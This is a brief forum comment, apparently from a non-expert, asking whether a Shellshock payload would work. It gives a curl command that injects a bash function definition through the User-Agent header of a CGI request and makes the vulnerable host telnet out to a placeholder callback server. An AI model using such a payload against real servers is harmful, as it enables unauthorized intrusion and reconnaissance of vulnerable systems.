I'm by no means an expert, but am I completely wrong if I think something like this should work on an exploitable system to get a pingback from a vulnerable sys

I'm by no means an expert, but am I completely wrong if I think something like this should work on an exploitable system to get a pingback from a vulnerable system without curl ? curl -A "() { :; }; echo GET /pingback.php | telnet bashexploitindexer.fake 80" http://expoitablehost.com/blah.cgi